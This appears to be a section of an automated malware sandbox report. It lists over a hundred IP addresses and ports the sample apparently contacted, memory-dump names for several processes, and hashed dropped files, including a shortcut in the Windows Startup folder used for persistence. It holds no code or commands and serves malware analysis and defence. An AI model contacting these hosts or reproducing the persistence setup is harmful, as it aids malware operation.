VN 14.231.249.245:80 tcp
TH 171.99.179.167:8080 tcp
MA 197.153.34.210:80 tcp
DE 84.147.5.167:80 tcp
IL 192.114.202.125:80 tcp
US 32.139.236.5:80 tcp
US 128.183.6.141:80 tcp
US 136.223.33.124:80 tcp
US 199.29.116.182:80 tcp
US 11.30.235.167:80 tcp
US 215.228.10.217:80 tcp
KR 27.235.208.48:80 tcp
SE 193.45.115.141:80 tcp
DE 134.76.213.235:80 tcp
US 26.248.54.237:80 tcp
BE 94.227.152.53:80 tcp
RU 194.12.121.24:80 tcp
JP 220.30.18.46:80 tcp
CN 114.114.219.112:8080 tcp
IT 81.75.217.65:80 tcp
NL 51.158.211.151:80 tcp
US 11.190.224.54:80 tcp
CN 113.195.247.242:80 tcp
JP 152.32.204.163:8080 tcp
JP 221.36.72.183:80 tcp
US 23.78.196.154:80 tcp
US 168.179.85.229:80 tcp
CA 38.172.146.187:80 tcp
VN 14.243.135.114:80 tcp
US 11.63.142.56:80 tcp
US 70.228.78.61:80 tcp
JP 133.24.97.241:80 tcp
US 55.60.215.249:8080 tcp
US 88.104.127.59:8080 tcp
US 107.52.24.217:80 tcp
US 34.192.192.5:80 tcp
US 184.33.101.62:80 tcp
DK 192.66.182.59:80 tcp
KR 14.67.185.211:80 tcp
US 72.174.9.61:80 tcp
US 168.10.180.45:80 tcp
CA 99.216.225.53:80 tcp
EG 45.246.129.110:80 tcp
US 8.58.95.195:443 tcp
ID 120.163.17.170:80 tcp
US 67.11.49.173:80 tcp
RO 193.9.153.45:80 tcp
US 161.109.137.126:80 tcp
CN 106.125.137.92:80 tcp
CN 119.96.3.205:80 tcp
US 68.61.25.240:80 tcp
US 143.155.89.99:80 tcp
ZA 196.33.213.80:80 tcp
IN 45.121.115.213:80 tcp
BR 191.7.10.85:80 tcp
MX 168.165.200.23:80 tcp
AU 101.169.162.129:80 tcp
CA 142.2.98.222:80 tcp
IN 115.119.174.74:80 tcp
US 9.244.69.177:80 tcp
CN 36.197.76.113:80 tcp
DE 84.179.9.231:80 tcp
US 98.82.178.190:8080 tcp
AT 77.116.238.51:80 tcp
AU 130.130.74.17:80 tcp
DE 134.171.148.102:80 tcp
MX 189.180.197.110:80 tcp
NZ 118.90.131.14:80 tcp
JP 163.214.202.53:8080 tcp
US 155.92.111.199:80 tcp
IL 46.116.213.107:8080 tcp
DE 78.34.1.103:80 tcp
ZA 41.1.237.89:80 tcp
US 28.110.35.113:8080 tcp
SE 212.37.30.154:80 tcp
CH 57.188.64.191:80 tcp
US 96.67.46.73:80 tcp
CN 210.30.121.178:80 tcp
HR 93.139.12.213:80 tcp
CN 183.197.35.130:80 tcp
US 67.120.175.77:8080 tcp
US 165.230.155.219:80 tcp
US 17.129.106.164:80 tcp
GB 62.100.189.237:80 tcp
US 29.18.95.171:8080 tcp
GB 90.249.185.165:80 tcp
CN 117.138.236.153:8080 tcp
AU 203.12.248.178:80 tcp
KR 125.244.252.57:8080 tcp
JP 106.172.250.128:80 tcp
CN 140.250.215.231:80 tcp
US 11.236.54.136:80 tcp
FR 79.92.64.121:80 tcp
US 173.147.65.224:80 tcp
US 174.195.12.56:80 tcp
US 130.39.66.61:80 tcp
JP 150.87.212.64:80 tcp
US 146.5.220.189:80 tcp
FR 92.168.105.161:80 tcp
CN 113.228.210.39:80 tcp
NL 185.177.127.173:80 tcp
CN 112.241.233.184:80 tcp
JP 58.188.197.74:80 tcp
IT 151.77.121.97:80 tcp
SE 78.69.197.232:80 tcp
US 108.152.214.29:80 tcp
JP 27.231.205.32:80 tcp
US 144.174.40.52:80 tcp
DE 46.114.8.104:8080 tcp
NL 145.179.197.138:80 tcp
KR 223.48.148.164:80 tcp
FI 160.71.11.125:80 tcp
US 206.127.140.14:80 tcp
US 170.242.140.158:8080 tcp
CN 202.116.10.179:80 tcp
US 184.191.194.61:80 tcp

Files

memory/2964-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2964-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2964-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2964-6-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-10-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-9-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-8-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-7-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-11-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2964-12-0x0000000001DA0000-0x0000000001E76000-memory.dmp

memory/2972-21-0x0000000006310000-0x00000000063E6000-memory.dmp

memory/548-23-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-25-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/2972-26-0x0000000006310000-0x00000000063E6000-memory.dmp

memory/548-27-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-34-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-38-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-30-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-29-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-28-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-31-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-32-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-47-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-54-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-41-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-48-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-46-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-45-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-65-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-66-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-44-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-43-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-42-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-40-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-39-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-37-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-58-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-36-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-35-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-33-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-57-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-56-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-55-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/548-49-0x00000000001B0000-0x00000000002F1000-memory.dmp

memory/2320-72-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-75-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-77-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-81-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-85-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-74-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-73-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-83-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-87-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-86-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-84-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-82-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-80-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-79-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-78-0x0000000000110000-0x0000000000251000-memory.dmp

memory/2320-76-0x0000000000110000-0x0000000000251000-memory.dmp

C:\Users\Admin\AppData\Local\ed3e8\bc0ec.bat

MD5 c9726b1023d08f87d7c310ef440fc21a
SHA1 e121739a7d5fd0bd5e0a08827105a41798195629
SHA256 009c0ef73332c5aae4e96ba2013e33cda30f312c604c5b1e768c190a522160fc
SHA512 571d0720f495a92114cdce0abbf951bd3ac6f66394adc88964c3870feb2552640290d65bf739c9e844e4f0c33ddbda9e39f6e66cfaad8a4b35a210df05efe1b0

C:\Users\Admin\AppData\Local\ed3e8\5cad4.cc93a6

MD5 17c2feec8d8cd6c7175a63a3e22697e5
SHA1 fddaa6208be9680e23e87b88ec707f3059418cc4
SHA256 caebe694e9bc08a3ac62ec01f2ad555c3f698981108bec5f96ce0d9dca1ab4f3
SHA512 9fd8d3edd4aa39d5f7ef92fd807a8373ef549494cc4a9ad9825a16afefd32b9bf9dbf379562242ee78daca2a7b0e2f2c4c32e1e3f1d32d60549a7400abcf49b1

C:\Users\Admin\AppData\Local\ed3e8\d468b.lnk

MD5 0bbae68e1bf27688101982818f2af721
SHA1 eec23a77c10421c076a830e2f3a228787bf4ff77
SHA256 f7930b6a95bbd17aca56b5b22416894250f8f3f6cd6a0a42053ccab36049049f
SHA512 786cba984e472130334c2320377caa12205e0f225b7c063236b7d89be07349fd8bcacef7ddaf20875718d109ea8657a795b971c402b4fdbf07e52b3eb4fe1223

C:\Users\Admin\AppData\Roaming\158f4\93aca.cc93a6

MD5 c526c054442dc01f31f327e717587dde
SHA1 f4950bab882fb99e4082f561782e40562e22b747
SHA256 5cb02f1696f2c3040dc2ac67083be53d9be9a5ad74796b1aa68959acd5cdef19
SHA512 9a87f8c134131bc131ef55c21cee618488e98cc34116e87d33277a9808742039d980057e7e8eaca5b4f319319f678f112a0e553f82b5f9439c324c2ae37a3199

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk

MD5 fa9687e971faaef2f479e4ead1b65832
SHA1 1cfca086655f3281621540a8c0d156c692eeac38
SHA256 56a483c24f498e18ba8c42e3a3d6b75705142ae1c40a101877126e860a9b10ff
SHA512 7df5ccf171cd6c9f62dd45f08a4f0f0f74cc36ba0ab7a938e03a65e9b29777d16dfcaa0fc52f79a7a778bf0fe5420f195625e9c7de024b5fdc7281739c531a57